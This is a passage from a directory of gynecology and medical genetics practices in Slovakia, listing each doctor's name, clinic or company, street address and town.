    Nobelova 34


    Bratislava
  • MUDr. KATARÍNA HUBOVÁ

    GPN s.r.o., gynekológ


    Ružinovská 10


    Bratislava
  • MUDr. TOMÁŠ DANYS PhD.

    GYNDANYS s.r.o., – Gyn. amb.


    Kapisztóryho 5


    Nové Zámky
  • MUDr. RICHARD LÁNI MPH

    Gyn. amb. -MUDr.Richard Láni, s.r.o.


    M.R.Štefánika 41


    Žilina
  • MUDr. ROMAN ŽÁČOK

    Gyn. amb. BA, s.r.o., gynekológ


    Rezedova 5


    Bratislava
  • MUDr. MICHAELA GROSSOVÁ

    OLYMPEX s.r.o. Gyn. amb.


    Bazovského 2


    Bratislava
  • MUDr. MICHAELA GROSSOVÁ

    ISCARE, a.s., Gyn. amb.


    Prievozská 4/A


    Bratislava
  • MUDr. RUDOLF HALÁK

    GYNPRO,s.r.o. Gynekológ-pôrod.


    Masarykova 31 B31


    Prešov
  • MUDr. RUDOLF KOVAČIČ

    JANAMED sro, gynekológ


    Starohájska 2


    Trnava
  • MUDr. RUDOLF NOVÁK

    GYN. CENTRUM, spol. s r.o. – gynekológ


    Starohájska 2


    Trnava
  • MUDr. VERONIKA RAPÁCS PÁSZTOR

    NZZ – Gyn. amb. s. r. o.


    Rákocziho 22


    Kráľovský Chlmec
  • Doc. MUDr. SILVIA TOPORCEROVÁ

    GYNCARE, s.r.o. – Gyn. amb.


    Magnezitárska 2/C


    Košice
  • MUDr. SILVIA VOGELOVÁ

    Lekárska genetika


    Hviezdoslavova 1


    Nitra
  • MUDr. RADMILA SLÁDIČEKOVÁ

    RADMA GYN s.r.o.- Gyn. amb.


    Strečnianska 13


    Bratislava
  • MUDr. BOHUŠ VREDÍK

    AUBOGYN s.r.o. – Gyn. amb.


    Sládkovičova 596/1


    Tornaľa
  • MUDr. SOŇA BLAHUTIAKOVÁ

    MUDr. Soňa Blahutiaková, s.r.o.


    Kozáčeka 9282


    Zvolen
  • MUDr. Alexandra Ňaršanská

    Gyn. amb.


    Brigádnická2 C64


    Košice
  • MUDr. STANISLAV POLIEVKA

    KASTAMED s.r.o.-Ambulancia – gynekológia a pôrodníctvo


    Okružná 53


    Rimavská Sobota
  • MUDr. STANISLAV KÖSZEGY

    GYNFEM s.r.o., gynekológ


    Stavbárov 54/3


    Prievidza
  • MUDr. MARCEL HREBENÁR

    AGYND, s.r.o. Gyn. amb.


    Tatranské námestie 8


    Poprad
  • MUDr. PETER MAREŠ

    GPN s.r.o., Gyn. amb.


    Partizánska 27


    Bratislava
  • MUDr. PETER LESNICKÝ

    Dr. L-gyn s.r.o., gynekológ


    Veľkoblahovská 44/A


    Dunajská Streda
  • MUDr. JÁN PRUŽINSKÝ

    Gynmaster s.r.o. Gyn. amb.


    Sládkovičová 10 B110


    Stará Ľubovňa
  • MUDr. PETER UHARČEK PhD.

    Gyncentrum Nitra s.r.o. – Gynekológ-pôrodnik


    cetrum Nitra s.r.o. Štefániková 57


    Nitra
  • H.Doc.MUDr. PETER BIELIK PhD.

    GYN BIELIK, s.r.o


    Pod Stráňou 35


    Banská Bystrica
  • MUDr. PETER BUDINSKÝ

    FNsP Skalica – Gyn. amb.


    Koreszkova 936/7


    Skalica
  • MUDr. ĽUBOMÍRA LISOŇOVÁ

    Gynekológia Svit s.r.o.


    Kpt.Nálepku 867


    Svit
  • MUDr. PETER LIGUS

    LIGUS, s.r.o. – Gynekol.ambul.


    M.Slovenskej 2A


    Prešov
  • MUDr. PETER KRAJKOVIČ

    Sanatórium Helios SK, s.r.o. Gyn. amb.


    Daniela Michaelliho 2


    Martin
  • MUDr. PETER KRIŽO

    GA Lučenec, s.r.o. Gyn. amb.


    Zlatá ulička 11


    Lučenec
  • MUDr. PETER BLAŠKO

    Univerzitná nemocnica – Nem.sv.Michala, Gyn. amb.


    Satinského 1


    Bratislava
  • MUDr. PETER ŠŤASTNÝ

    Gyno Care, s.r.o., gynekológ


    Sotinská 1591/29A


    Senica
  • MUDr. PETER KOTLEBA

    Gyn. amb.


    SNP 15


    Trenčianske Teplice
  • MUDr. PETER FELDMAR

    HIPOKRATES DS s.r.o., Gyn. amb.


    Hlavná 28/7


    Dunajská Streda
  • MUDr. RASTISLAV BUHAJ

    GYN – M.M.spol.s.r.o.- Gyn. amb.


    Komenského 6206/7


    Humenné
  • Mudr. ZUZANA BAKOVÁMU

    Nemocnica s poliklinikou Prievidza, Gyn. amb.


    Nemocnicna 2


    Bojnice
  • MUDr. PAVOL KOPKA

    KENGIMED, s.r.o., gynekológ


    Hlavná 35


    Vráble
  • MUDr. PAVOL TALLO

    PARTHENOS, s.r.o.


    Jablonská 301/7


    Myjava
  • MUDr. MILAN KRKOŠKA

    Medisyl, s.r.o., gynekológ


    Liščie údolie 21/A


    Bratislava
  • MUDr. GABRIELA MÉSZÁROSOVÁ

    Gyn. amb.


    Hollého 2


    Pezinok
  • MUDr. PETER STANKO

    GYN-GAAL s.r.o., gyn.ambulancia Pezinok


    Hollého 2


    Pezinok
  • MUDr. PETER HRABČÁK

    MUDr.Peter Hrabčák – Gyn. amb.


    Babušková 2


    Bratislava
  • MUDr. PETER HRABČÁK

    UNBA RU amb.gyn.poliklin.


    Ružinovská 6 č. dverí 54


    Bratislava
  • MUDr. PETER HRABČÁK

    Euromedix, a.s.


    Betliarska 3776/17


    Bratislava
  • MUDr. PETRA TALLOVÁ

    Laboratória s.r.o.


    A.Wintera 66


    Piešťany
  • MUDr. PETER JUHÁSZ

    JUPET s.r.o., gynekológ


    J. Kraľa 3


    Nové Zámky
  • MUDr. PETER KUBRANSKÝ

    MUDr.Peter Kubranský, s.r.o.


    Hviezdoslavova 13/1864


    Piešťany
  • MUDr. PETER KUBRANSKÝ

    MUDr. Peter Kubranský, s.r.o.


    Nám.Sv.Michala 9C


    Hlohovec
  • MUDr. IVANA PINDROCHOVÁ – ALBRECHTOVÁ

    GYNAL, spol. s r. o.- gyn. ambulancia


    MUDr.Pribulu 463/15


    Svidník
  • MUDr. PETER ILAVSKÝ

    PULSE s.r.o. – Gyn. amb.


    Poliklinika Družba


    Trnava
  • MUDr. PETER DURMIS

    GYNMED s.r.o, gyn.,pôr., ultrazvuk


    Hálkova 3


    Žilina
  • MUDr. Piotr Petrykowski

    GYNPOL, s.r.o. – Gyn. amb.


    Mierová námestie 863


    Ilava
  • MUDr. PETER HARBULÁK PhD.

    GYN-FIV, a.s. – Gyn. amb.


    Trnavská cesta 106


    Bratislava
  • MUDr. TATIANA JANEGOVÁ

    JANEGYN, s.r.o., Gyn. amb.


    Tematínska 24


    Nové Mesto nad Váhom
  • MUDr. Danuta Bedeová

    Dagyn, gynekol. amb.


    Špitálska 13


    Nitra
  • MUDr. STANISLAVA ŽÁČIKOVÁ

    GYNISIS, s.r.o.- gyn. ambulancia


    Súvoz 1891/33


    Trenčín
  • Doc.MUDr. Nadežda Mišovicová CSc.

    M-GENETIK, s.r.o. – genetická ambulancia


    P.Mudroňa 504/7


    Martin
  • MUDr. ANDREJ KARKALÍK PhD.

    KSAR MED, s.r.o. – gyn. ambulancia


    Sch.Trnavského 8


    Bratislava
  • MUDr. ANDREJ KARKALÍK PhD.

    GYNAMIL, s.r.o., Gyn. amb.


    Strečnianska 13


    Bratislava
  • MUDr. MARIANA CHVOSTÁČOVÁ

    Gyn. amb.


    Mazúrova 2


    Skalica
  • MUDr. ONDREJ BALCO

    GA Lučenec, s.r.o. Gyn. amb.


    Zlatá ulička 11


    Lučenec
  • MUDr. BARBORA VALACHOVÁ

    Gynprax s.r.o., gynekológ


    Nám. SNP 12


    Moravský Svätý Ján
  • MUDr. PATRIK MESÁROŠ

    GYNEMMA s.r.o., gynekológ


    Mierové nám.12


    Malacky
  • MUDr. ZUZANA PROVAZNÍKOVÁ

    PRO BIOS, s.r.o.- Gyn. amb.


    Ružová dolina 21


    Bratislava
  • MUDr. PAVOL ŠČASNÝ

    Bari Group s.r.o. – gyn. ambulancia


    29. augusta 9


    Galanta
  • MUDr. PAVOL KUCHTA

    Gyn. amb.


    Obchodná 3


    Michalovce
  • MUDr. PAVOL SCHILLER

    Schiller s.r.o, Gyn. amb.


    Ľudovíta Fullu 5274


    Malacky
  • MUDr. ADRIÁN TOTKA

    MEDANTE Clinic, s.r.o. gyn.-pôr


    Galvaniho 19


    Bratislava
  • MUDr. VALÉRIA SADÁKOVÁ

    GYNESA, spol. s r.o. – gynekológ


    Tehelná 26


    Bratislava 3
  • MUDr. MILAN TRIZMA

    TRITIUM s.r.o., gynekológ


    Lipová 2074/8


    Topoľčany
  • MUDr. MILAN ČECH

    GYNCECH s.r.o. Gyn. amb.


    Koniarekova 20


    Trnava
  • MUDr. MILAN PIKNA

    MUDr. Milan Pikna – Gyn. amb.


    Starohájska 2


    Trnava
  • MUDr. RICHARD BARÁN

    Bari Group s.r.o. – gyn. ambulancia


    29. augusta 9


    Galanta
  • MUDr. RICHARD BARÁN

    Prac. jednodň. zdrav. Starostlivosť


    Priečna 5


    Galanta
  • MUDr. RICHARD BARÁN

    Profi Group 3 s.r.o. – gynekológ


    Kráľová pri Senci 327


    Kráľová pri Senci
  • MUDr. MILOSLAV HAJDUŠEK

    JOMIMED s.r.o., gynekológ


    Andovská 9/D


    Nové Zámky
  • MUDr. MILOSLAV HRONEC CSc.

    Univerzitná nemocnica – Nem.sv.Michala, Gyn. amb.


    Satinského 1


    Bratislava
  • MUDr. MILOSLAV VLČEK

    Gravis MI, s.r.o Gyn. amb.


    Nám slobody 79


    Vranov nad Topľou
  • MUDr. MIROSLAV SMOLÍK

    GPN s.r.o., gynekológ


    Ružinovská 10


    Bratislava
  • MUDr. MIROSLAV ŠIŠÁK

    MUDr. Šišák Miroslav – Gyn. amb.


    Hlavná 760


    Jelka
  • MUDr. MIROSLAV FRUŠ

    STARGYN, s.r.o. – Gyn. amb.


    Legionárska 5256/1C


    Malacky
  • MUDr. MIROSLAV HALAPIN

    JM & ML, s.r.o.- Gyn. amb.


    Darg.hrdinov 137/10


    Sečovce
  • MUDr. MIROSLAV BELANSKÝ

    MEDBEL, s.r.o. – Gyn. amb.


    Podzámska 16


    Hlohovec
  • MUDr. ZUZANA BALÁŽOVÁ

    Marek Štefánik Medical s.r.o.


    Podzáhradná 98


    Bratislava
  • MUDr. MARTA PLEVOVÁ

    Súkromná ambulancia ObZS Rabča


    Lokca 267


    Rabča
  • MUDr. MARTIN DITTE

    GPN, s.r.o., gynekológ


    Partizánska 27


    Bratislava
  • MUDr. MARTIN DITTE

    GPN s.r.o., Gyn. amb.


    Ružinovská 10


    Bratislava
  • MUDr. JANA PALKOVÁ

    Gyn. amb.


    1.mája 21


    Humenné
  • MUDr. MARTIN ALFÖLDI

    Gyn Iv., s.r.o., gynekológ


    Nemocničná 1


    Šaľa
  • MUDr. Martin Okály

    Gyn. amb.


    Ing. O. Kožucha 823/3


    Spišská Nová Ves
  • MUDr. MARTIN KORČOK

    FEMINA-M sro gynekolog


    Záhradnícka 4


    Štúrovo
  • MUDr. MARTIN KORČOK

    FEMINA-M s.r.o. Gyn. -pôr.


    J.Kráľa 3


    Nové Zámky
  • MUDr. MARTINA MATUŠOVIČOVÁ

    GYNEKOLOGIA s.r.o. Gyn. amb.


    Štúrová 82


    Modra
  • MUDr. MELINDA STEFAN_BALOGH

    Gyn. amb.


    Nemocničná 8 CH44


    Kráľovský Chlmec
  • MUDr. MIROSLAV CAKO

    GPN s.r.o., gynekológ


    Ružinovská 10


    Bratislava
  • MUDr. MICHAL PAVLITA

    SOLEO spol. s.r.o. Gyn. amb.


    Vajanského 1


    Modra
  • MUDr. JANA KOVÁŘOVÁ

    Gynekológia -MUDr. Borodáč, s.r.o. – Gyn. amb.


    Zigmundíková 1


    Vrbové
  • MUDr. JANA KOVÁŘOVÁ

    Laboratória s.r.o.


    Sad A.Kmeťa 22


    Piešťany
  • MUDr. JANA KOVÁŘOVÁ

    Gynekológia -MUDr. Borodáč, s.r.o.


    Sotinská 1588


    Senica
  • MUDr. SFWAN ABO ROMIH

    MAMO-GYN, s.r.o. – Gyn. amb.


    Tehelná 26


    Bratislava
  • MUDr. RENÁTA PODOBENOVÁ

    Lakme, s.r.o. Gyn. amb.


    Dolná 49/21


    Kremnica
  • MUDr. MÁRIA PETREKOVÁ

    Ambulancia – gynekológia a pôrodníctvo


    Huncovská 6/322


    Kežmarok
  • MUDr. Monika Borošová PhD.

    GYNAEX,s.r.o.


    Záhradnícka 16614/36


    Bratislava
  • MUDr. KATARÍNA FARULOVÁ

    FN NZ – Gynekologické odd.


    Slovenská ulica 11 A


    Nové Zámky
  • MUDr. MARIÁN OROS

    MUDr. Marián Oros Gyn. amb.


    Gercenova 8/E


    Bratislava
  • MUDr. MARIÁN KOLLÁR

    I. ženská s.r.o. – Gyn. amb. AN


    Antolská 11


    Bratislava
  • MUDr. MARIÁN RAUČINA

    GYN – RS, s.r.o. Gyn. amb.


    Polikl.ADUS – Mnoheľova 2


    Poprad
  • MUDr. PETER KRIŽAN

    Amb. lekárskej genetiky


    Galvaniho 17/C


    Bratislava, peter.krizan@medirex.sk, +421 2 208 29 278
  • MUDr. MARIANNA ŠESTINOVÁ

    MVitae s. r. o. – Gyn. amb.


    Cottbuská 13


    Košice
  • MUDr. ZLATA POLGÁRYOVÁ

    GYNEKOLÓGIA -MUDr. POLGÁRYOVÁ, s.r.o. – Gyn. amb.


    Mierová 1/905 CH56


    Kráľovský Chlmec
  • MUDr. MÁRIO LUŽINSKÝ

    MEDICENTRUM gynekológ


    Strečnianska 13


    Bratislava
  • MUDr. MARTA JELENEKOVÁ

    MUDr. MARTA JELENEKOVÁ Gyn. amb.


    Krivá 23


    Košice
  • MUDr. MARTA JELENEKOVÁ

    Gynekológia Jeleneková s.r.o.- Gynekolog. amb.


    Krivá 23


    Košice
  • MUDr. MICHAELA FELLNEROVÁ

    UNB RU – Gyn. amb.


    Ružinovská 6


    Bratislava
  • MUDr. MICHAELA FELLNEROVÁ

    Femme s.r.o. – Gyn. amb.


    Záporožská 12


    Bratislava
  • MUDr. LENKA LADECKÁ TOMKOVÁ

    GYN-VIA, s. r. o., gynekológ


    K dolnej stanici 18


    Trenčín
  • MUDr. MAREK DRÁB PhD.

    OBGYN s.r.o


    Zdravotnícka 1


    Stupava
  • MUDr. MAREK DRÁB PhD.

    OBGYN s.r.o., gyn.ambulancia Stupava


    Zdravotnícka 1


    Stupava
  • MUDr. MAREK DRÁB PhD.

    OBGYN, s.r.o.


    Pavlovičova 3


    Bratislava
  • MUDr. MAREK DRÁBEK

    PRO BIOS, s.r.o.- Gyn. amb.


    Ružová dolina 21


    Bratislava
  • MUDr. MAREK FIFIK

    Ambulancia – gynekológia a pôrodníctvo


    Limbova 5


    Bratislava 3
  • MUDr. MAREK FRÜHWALD

    MF medico, s.r.o., gynekológ


    Bernolákova 14/A


    Banská Bystrica
  • MUDr. LUCIA Ďurčeková

    DUO-GYN s.r.o., Gyn. amb.


    Mládežnícka 2174


    Považská Bystrica
  • MUDr. MARGITA VÖRÖSOVÁ

    GYN – MV s.r.o., gyn. ambulancia


    Miletičova 5/A


    Bratislava
  • MUDr. MARGITA VÖRÖSOVÁ

    GYN – MV, s.r.o. – Gyn. amb.


    Paríčková 18


    Bratislava
  • MUDr. LUCIA MEŠINOVÁ

    GPN s.r.o., Gyn. amb.


    Ružinovská 10


    Bratislava
  • MUDr. JÁN ADAM

    GYNLIFE, s.r.o. Gyn. amb.


    Tr.SNP 1


    Košice
  • MUDr. JURAJ ČIERNY

    Gyn-Reh s.r.o. Gyn. amb.


    Šafáriková 65


    Senec
  • MUDr. MÁRIA KARDOŠOVÁ

    GYNEKOLÓG M.K. s.r.o. – Gyn. amb.


    1.mája 21


    Humenné
  • MUDr. DAGMAR MOLITORISOVÁ

    Gyn. ambulancia


    Povstalecká 30


    Banská Bystrica
  • MUDr. SILVESTER GALO PHD

    GYN-FIV Žilina, s.r.o.


    Predmestská 8600


    Žilina
  • MUDr. ZUZANA ĎURKECHOVÁ

    GYNEZUL s.r.o.


    Pod Lachovcom 1727/55


    Púchov
  • MUDr. ĽUBOŠ ĎURKECH

    GYNECARE, spol. s r.o.


    Súhradka 191


    Lednické Rovne
  • MUDr. ĽUBOŠ ĎURKECH

    GYNECARE, spol. s r.o.


    Pod Lachovcom 1727/55


    Púchov
  • MUDr. PETRA STRAKOVÁ

    Gynegology s.r.o. Gyn. amb.


    Vajnorská 62


    Bratislava
  • MUDr. LUCIA KLIMEKOVÁ

    LUCE s.r.o. , gyn.-pôr. ambulancia


    Bernolákova 24


    Zlaté Moravce
  • MUDr. ĽUDMILA KOŠECKÁ

    PRO-FEMME sro, gyn.-pôr.


    J.Alexyho 2700/7


    Topoľčany
  • MUDr. ĽUDOVÍT KOVÁČ

    GPA Kováč, s.r.o. – Gyn. amb.


    Malinovského 425


    Čachtice
  • MUDr. ĽUDOVÍT ST. JANEK

    CARE s.r.o. gynekológ


    Hlavná 50


    Šamorín
  • MUDr. ĽUDOVÍT ŠEVČÍK

    GYMADERM s.r.o., gynekológ


    Kukučínova 191


    Považská Bystrica
  • MUDr. ĽUDOVÍT ML. JANEK PhD.

    Gyncentrum Bratislava, s.r.o.- Digit.Park


    Einsteinová 25


    Bratislava
  • MUDr. DUŠAN NIŽNÍK

    ZDRAV s.r.o. Gyn. amb.


    Švantnerova 23


    Nová Baňa
  • MUDr. MAGDALÉNA MAYEROVÁ

    GYN-GAAL s.r.o., gyn.ambulancia Pezinok


    Hollého 2


    Pezinok
  • MUDr. MAGDALÉNA MAYEROVÁ

    GPN s.r.o., Gyn. amb.


    Ružinovská 10


    Bratislava
  • MUDr. MARTIN HOLAN

    Gyn Healthcare s.r.o. – Gyn. amb.


    Hubeného 2497/2


    Bratislava
  • MUDr. MARČELA LEVSKÁ

    LEVSKA s.r.o. – Gyn. amb. Zlaté Klasy


    Poštová 778/2


    Zlaté Klasy
  • MUDr. PETER ZELENÝ

    AGYND, s.r.o. Gyn. amb.


    Tatranské námestie 8


    Poprad
  • MUDr. MARTINA VAGASKÁ

    TRIMEDIN s.r.o. – Gynek.amb.


    Budovateľská 429/6


    Hanušovce nad Topľou
  • MUDr. Lea Macháneková

    ISCARE, a.s., Gyn. amb.


    Prievozská 4/A


    Bratislava
  • MUDr. PETER VÁVRA

    GYNVAX, s.r.o., gyn.-pôr.


    Pod Hájkom 37


    Skalica
  • MUDr. ANDREJ HAVALDA PhD.

    Univerzitná nemocnica – Nem.sv.Michala, Gyn. amb.


    Satinského 1


    Bratislava
  • MUDr. ĽUBICA ŠABLOVÁ

    PRO FEMINA, s.r.o., gynekológ


    Tbiliská 6


    Bratislava
  • MUDr. JOZEF KNOP

    Gyn. amb.


    Mlynská 26


    Košice
  • MUDr. ANNA GOTTSCHALLOVÁ

    GYNPRENATAL s.r.o. – Gyn. amb.


    Mladoboleslavská 1


    Pezinok
  • MUDr. ĽUBICA SEMANOVÁ

    ALLATURA,sro, gyn.-pôr.


    BC Aquapolis Piešťanská 3


    Trnava
  • MUDr. ĽUBOMÍR SÁMEL

    Gyn. amb.


    Tatranská 1


    Trenčín
  • MUDr. ĽUBOMÍR KORBAŠ

    KORBAŠ,s.r.o., gynekológ


    Pod Lachovcom 1727/55


    Púchov
  • MUDr. ĽUBOMÍR DIVÉKY PhD.

    GYNAEX s.r.o – Gyn. amb.


    Záhradnícka 36


    Bratislava
  • MUDr. JAROSLAV HLAVAČKA

    AKTIS – plus s.r.o., gynekológ,pôrodník


    Hviezdoslavova 1


    Nitra
  • MUDr. ĽUBOMÍRA HALMOVÁ

    HALGYN s.r.o., gynekológ


    Rozmarínova 3


    Komárno
  • MUDr. Ľubomíra Pániková

    E+T GYN s.r.o.



    Trstená

  • MUDr. ĽUBOR LAUDA

    EL-Gynda s.r.o. – gynekológ


    Tehelná 26


    Bratislava
  • MUDr. ĽUBOR PÉČI

    MUDr. Ľubor Péči, s.r.o. gynekológ


    Starohájská 2


    Trnava
  • MUDr. ĽUBOŠ ĎURKECH

    GYNECARE, spol. s r.o., gynekológia a pôrodníctvo


    Pod Lachovcom 1227/55


    Púchov
  • MUDr. BRANISLAV MURÍN

    B.G.M. GYN s.r.o. – Gyn. amb.


    Budapeštianska 46 D26


    Košice
  • MUDr. KATARÍNA JABLONKOVÁ

    Gynja s.r.o., Gyn. amb.


    Mýtna 5


    Bratislava
  • MUDr. KATARÍNA KOTLEBOVÁ

    K+K MEDIC, s.r.o. – Gyn. amb.


    SNP 15/B


    Trenčianske Teplice
  • MUDr. KATARÍNA ANDREJČÁKOVÁ

    GYNKA s.r.o. Gyn. amb.


    M.R.Štefánika 40


    Krupina
  • MUDr. KATARÍNA RAŠLOVÁ

    GYN – LIFE s.r.o. – Gyn. amb.


    Rezedova 5


    Bratislava
  • MUDr. KATARÍNA MELIŠOVÁ CSc.

    MI UNB Staré Mesto Genetika – ambulancia


    Americké námestie 3


    Bratislava 1
  • MUDr. KATARÍNA ELIAŠOVÁ

    ELIGYN, s.r.o.


    Východná 8


    Veľký Šariš
  • MUDr. KLAUDIA ZUZČÁKOVÁ

    GYNSERVIS, s.r.o. Gyn. amb.


    Nám. Hrdinov 13


    Levice
  • MUDr. LADISLAV BALÍK

    GYNBAL s.r.o., Gyn. amb.


    Nemocničná 1


    Veľký Krtíš
  • MUDr. ANDREA ŽIDEKOVÁ

    Súkromná Gyn. amb.


    Jánošíkovo nábrežie 1212/2


    Liptovský Mikuláš
  • MUDr. SOŇA MICHALOVIČOVÁ

    SVS G, s.r.o. – gynekológ


    Štefánikova 480


    Gbely
  • MUDr. ZORA VASIĽOVÁ

    WOMENS HEALTH, s.r.o., Gyn. amb.


    Tbiliská 6


    Bratislava
  • MUDr. LADISLAV ANDREÁNSKY

    MUDr. ANDREANSKÝ LADISLAV – Gyn. amb.


    J.D. Matejovie 542


    Liptovský Hrádok
  • MUDr. LADISLAV ROSOCHA

    UNLP Gyn. amb.


    Rastislavova 43


    Košice
  • MUDr. Lea Macháneková

    Váš Lekár, s.r.o.


    Pribinova 40


    Bratislava
  • MUDr. JURAJ PÁLL

    Gyn. amb.


    17.novembra 1213


    Sabinov
  • MUDr. JURAJ PUHA

    CYRMA s.r.o. – Gyn. amb.


    TRSTICE 667


    Trstice
  • MUDr. JURAJ BRAUN

    TRINITA s.r.o., gyn.ambulancia Tlmače


    Nám. odborárov 50/7


    Tlmače
  • MUDr. JURAJ BRAUN

    TRINITA spol. s r.o.


    Nábrežná 3


    Levice
  • MUDr. KAMIL VAŠKO

    RANA s.r.o. gynekol. amb.


    Nemocničná 1


    Šaľa
  • MUDr. KAMIL PAHULI

    Bona Quarta s.r.o.


    Bystrická 52


    Žarnovica
  • MUDr. ROBERT ČERŇÁK

    Nemocničná a.s. Gyn. amb.


    Duklianskych hrdinov 34


    Malacky
  • MUDr. KARIN VONDRÁKOVÁ

    Aevitas, s.r.o. – Gyn. amb.


    Rázusova 24


    Nitra
  • MUDr. KAROL HLINŠŤÁK

    MEDANTE Clinic, s.r.o. gyn.-pôr


    Galvaniho 19


    Bratislava
  • MUDr. KAROL BALKO

    RE-GYN-A s.r.o. Gyn. amb.


    Poliklinika O


    Lučenec
  • MUDr. KAROL BRÁNYIK PhD.

    AMB, s.r.o. – Gyn. amb.


    Ádorská 21


    Dunajská Streda
  • MUDr. KAROL BRÁNYIK PhD.

    Gamb.s.r.o. – Gyn. amb.


    Brnenské námestie 4


    Kolárovo
  • MUDr. KÁROLY FÖLDES

    AFK s.r.o.,gynekolog


    Veľkoblahovská 1


    Dunajská Streda
  • MUDr. KÁROLY FÖLDES

    P-GYN, s.r.o. – Gyn. amb.


    Poľovnícka 41


    Veľký Meder
  • MUDr. KATARÍNA KRKOŠKOVÁ

    GynMart, gynekologické centrum, s. r. o., Gyn. amb.


    Bjőrnsonova 20


    Martin
  • MUDr. KATARÍNA VAČOKOVÁ

    GPN s.r.o., gynekológ


    Ružinovská 10


    Bratislava
  • MUDr. KATARÍNA VAČOKOVÁ

    GPN, s.r.o., gynekológ


    Partizánska 27


    Bratislava
  • Prof. MUDr. JOZEF VIŠŇOVSKÝ

    VIŠŇOVSKÍ, s.r.o., Gyn. amb.


    Sv. Martina 273


    Terchová
  • MUDr. JOZEF REŠETA

    BABAE, s.r.o – Gyn. amb.


    Mozartova 3


    Trnava
  • MUDr. JOZEF KAŠUBA

    MUDr. Jozef Kašuba, s.r.o. Gyn. amb.


    Hviezdoslavova 62/A


    Zlaté Moravce
  • MUDr. LUCIA KRÁLIKOVÁ

    Mestská poliklinika


    SNP 2


    Šurany
  • MUDr. IVAN RIŠKO ML.

    MUDr. Ivan Riško, s.r.o. – gyn. ambulancia


    K Rieke 2B


    Nitra
  • MUDr. IVAN RIŠKO ML.

    gynekológ


    Hviezdoslavova 1


    Nitra
  • MUDr. JOZEF PAJTÁŠ

    Pajmed, s.r.o. – Gyn. amb.


    M.R. Štefánika 3782/25A


    Trebišov
  • MUDr. JOZEF ŠPANKA

    INGYN, s.r.o., gynekológ


    Bratislavská 6


    Most pri Bratislave
  • MUDr. JOZEF ŠPANKA

    Univerzitná nemocnica Bratislava


    Ružinovská 6


    Bratislava – Ružinov
  • MUDr. JOZEF GEÖREÖGH

    Gynekológ pôrodník ELTEX


    Družstevná 5


    Šurany
  • MUDr. JULIANA ZIMMERMANNOVÁ

    VISSEGYN, s.r.o., gynekológ


    Bernolákova 1495/7


    Šala-Veca
  • MUDr. JÚLIA FRÍVALDSKÁ

    TETRAO s.r.o. – Gyn. amb.


    Gemerská 3 C25


    Košice
  • MUDr. JÚLIUS MURÁNSKY

    MUDr. Július Muránsky s.r.o., Gyn. amb.


    Bitúnková 13


    Nové Zámky
  • MUDr. JURAJ ORSÁG

    HELPING HANDS, s.r.o. Gyn. amb.


    Komenského 27


    Lučenec
  • MUDr. IVANA KARÁSKOVÁ

    Pol. Centrum s.r.o. – Gyn. amb.


    Brigádnická č.2


    Košice
  • MUDr. DANA DE FURIA

    Gyn. amb.


    Československej armády 1175/18


    Košice
  • MUDr. JANA PIRČOVÁ

    Gyn. amb.


    Masarykova 88 A76


    Michalovce
  • MUDr. JUDITA KOPRDOVÁ

    FNsP Nové Zámky – Gyn. amb.


    Slovenská 11


    Nové Zámky
  • MUDr. JAROSLAV KARDOŠ

    K-MED, s.r.o.- Gyn. amb.


    Mošteníkova 540/6


    Považská Bystrica
  • MUDr. ŠTEFAN LIPTAY

    G-PROM, Gyn. amb.


    Jesenského 85


    Štúrovo
  • MUDr. LENKA FALATOVÁ

    Vstupný areál US Steel


    Lúčna 59


    Košice-Šaca
  • MUDr. LENKA FALATOVÁ

    GYn VITA s.r.o. Gyn. amb.


    Zbrojničná 8


    Košice
  • MUDr. EVA RUKAVICOVÁ

    gynekológ


    Štúrova 1


    Liptovský Mikuláš
  • MUDr. JELA KUBALOVÁ

    Gyn. amb. Trenčín, s.r.o. – Gyn. amb.


    Halalovka 63


    Trenčín
  • MUDr. JÁN REHÁK

    MUDr. Ján Rehák, s. r. o., Gyn. amb.


    Palárikova 2657


    Čadca
  • MUDr. JOZEF RAVINGER

    MEDIFARM NITRA s.r.o., gynekológ


    Čajkovského 2


    Nitra
  • MUDr. JOZEF KANTÍK

    JOKA gyn, s.r.o. – Gyn. amb.


    J.D.Matejovie 542/21


    Liptovský Hrádok
  • MUDr. OLEKSANDR GRYGORYK

    FNsP Nové Zámky – Gyn. amb.


    Slovenská 11


    Nové Zámky
  • MUDr. JOZEF ANDEL

    GYNAN, s.r.o. – Gyn. amb.


    Hergottova 2


    Svätý Jur
  • MUDr. RICHARD MOLOKÁČ

    Gyn. amb.


    Národná trieda 214/27


    Košice
  • MUDr. JÁN BÁNYI

    MUDr. JÁN BÁNYI, s.r.o. Gyn. amb.


    G. Czuzcora 1


    Nové Zámky
  • MUDr. NATAŠA KÓŇOVÁ

    MEDIFEM s.r.o., gynekológ


    Björnsonova 7


    Bratislava
  • MUDr. JÁN NEUBAUER

    Jadin s.r.o., gynekolog


    Nábrežná 3


    Levice
  • MUDr. JÁN ULRICH

    Gynekológ No 1, s.r.o. – Gyn. amb.


    Jesenského 85


    Štúrovo
  • MUDr. JÁN PERHÁCS

    Héra, spol.s.r.o. Gyn. amb.


    Galantská cesta 5416/5


    Dunajská Streda
  • MUDr. JANA FANTAZÍROVÁ

    GYNFAN s.r.o. – gynek.amb.


    Generála Petrova 1


    Michalovce.
  • MUDr. PETRA PŠENKOVÁ PhD.

    Gynsana s.r.o. Gyn. amb.


    Trnavská cesta 18746/106


    Bratislava
  • MUDr. MARIANNA HORÁNSKA

    FNsP J.A.Reimana, odd. gyn.-pôrod. II.


    Hollého 14


    Prešov
  • MUDr. JANKA BAROŠOVÁ

    GENET s.r.o., ambulancia lekárskej genetiky


    Rázusová 16 Poliklinika


    Nitra
  • MUDr. JANA ŠTEMPELOVÁ

    MEDAFEM spol.s.r.o.


    Mieru 246


    Jesenské
  • MUDr. JANA FATHIOVÁ

    PULSE gynecologia, s.r.o. Gyn. amb.


    Tatranské námestie 4914/8


    Poprad
  • MUDr. JANA MAREKOVÁ

    Med Dar, s.r.o., gynekológ


    Rovniankova 1


    Bratislava
  • MUDr. JANA MAREKOVÁ

    Med Dar, s.r.o.


    Obchodná 323


    Rohožník
  • MUDr. JANA LANGOVÁ

    JALAGYN, s.r.o., gynekológ


    Andovská 6


    Nové Zámky
  • MUDr. JANA CHABADOVÁ

    Žena s.r.o. gyn.ambul.


    Balkánska 51


    Rusovce
  • MUDr. JANA DRIEŇOVSKÁ

    SAGAX, s.r.o., gynekológ


    Hlavná č. 58 A


    Dunajská Streda
  • MUDr. JANA DRIEŇOVSKÁ

    DALIJANA s.r.o., gynekológ


    Hlavná 58/A


    Dunajská Streda
  • MUDr. ONDREJ SMOLÁRIK

